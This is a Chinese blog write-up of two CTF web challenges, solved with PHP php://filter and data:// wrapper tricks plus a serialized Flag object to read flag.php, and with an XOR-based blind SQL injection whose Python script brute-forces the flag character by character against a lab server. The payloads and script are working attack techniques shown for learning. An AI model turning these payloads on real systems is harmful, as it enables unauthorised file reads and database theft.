一天一道ctf 第16天(data伪协议,异或sql注入)

本文介绍了两道CTF比赛题目,一题涉及PHP反序列化,利用filter伪协议和data伪协议读取文件解密flag。另一题是SQL注入,通过异或判断绕过过滤,利用payload获取flag。文章包含了解题过程和部分Python脚本。

[ZJCTF 2019]NiZhuanSiWei
在这里插入图片描述
看到unserialize()函数觉得是反序列化的题,但是没有看到class的定义。作者这边提示了useless.php,那就用filter伪协议读一下看看。?file=php://filter/read=convert.base64-encode/resource=useless.php,没有反应,忘记了前面text也要绕过。
text的值可以用data伪协议输入,?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
data伪协议就是把一些体量比较小的数据直接嵌入在页面里,而不使用外部链接。data:text/plain是嵌入文本,所以下图可以看到welcome to the zjctf直接显示在页面上。网上讲这个伪协议的文章很少,我只找到一篇,也不知道是不是一手的。https://www.jb51.net/css/41981.html
在这里插入图片描述
网上找一个base64反解码一下

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

就是构造一个反序列化的字符串,这很简单,我之前专门有一篇文章讲这个的。
最后的payload是

text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag查看源代码即可

[CISCN2019 华北赛区 Day2 Web1]Hack World
在这里插入图片描述
一道SQL注入的题,1'会报错,说明不是单引号闭合,1"回显SQL Injection Checked,说明双引号被过滤了。多测试几下发觉and,or,#都被过滤了,好家伙。
网上查了一下wp这里用的是异或判断^1^1^1有回显(就是输入1的结果),1^0^1显示错误
payload是1^(ascii(substr((select(flag)from(flag)),i,1))>x)^1。解释一下,substr函数是从某个字符串的一个指定位置复制指定长度的子串。比如我们要定位flag的第1个字母,就是substr((select(flag)from(flag)),1,1,继续第2个字母,就是substr((select(flag)from(flag)),2,1。x是一个可变量,通过不断与x比较的返回结果确定flag每一位字母的大小。
import requests

url = "http://web43.buuoj.cn/index.php"

result = ''
for i in range(1, 38):
    for j in range(0, 256):
        payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
        print(payload)
        r = requests.post(url, data = {'id': payload})

        if r.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break

print(result)

抄了一下师傅的脚本,但是每次运行出来结果都不一样,而且还会有没爆出来的位,不过学习一下脚本的思路也是很好的。在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值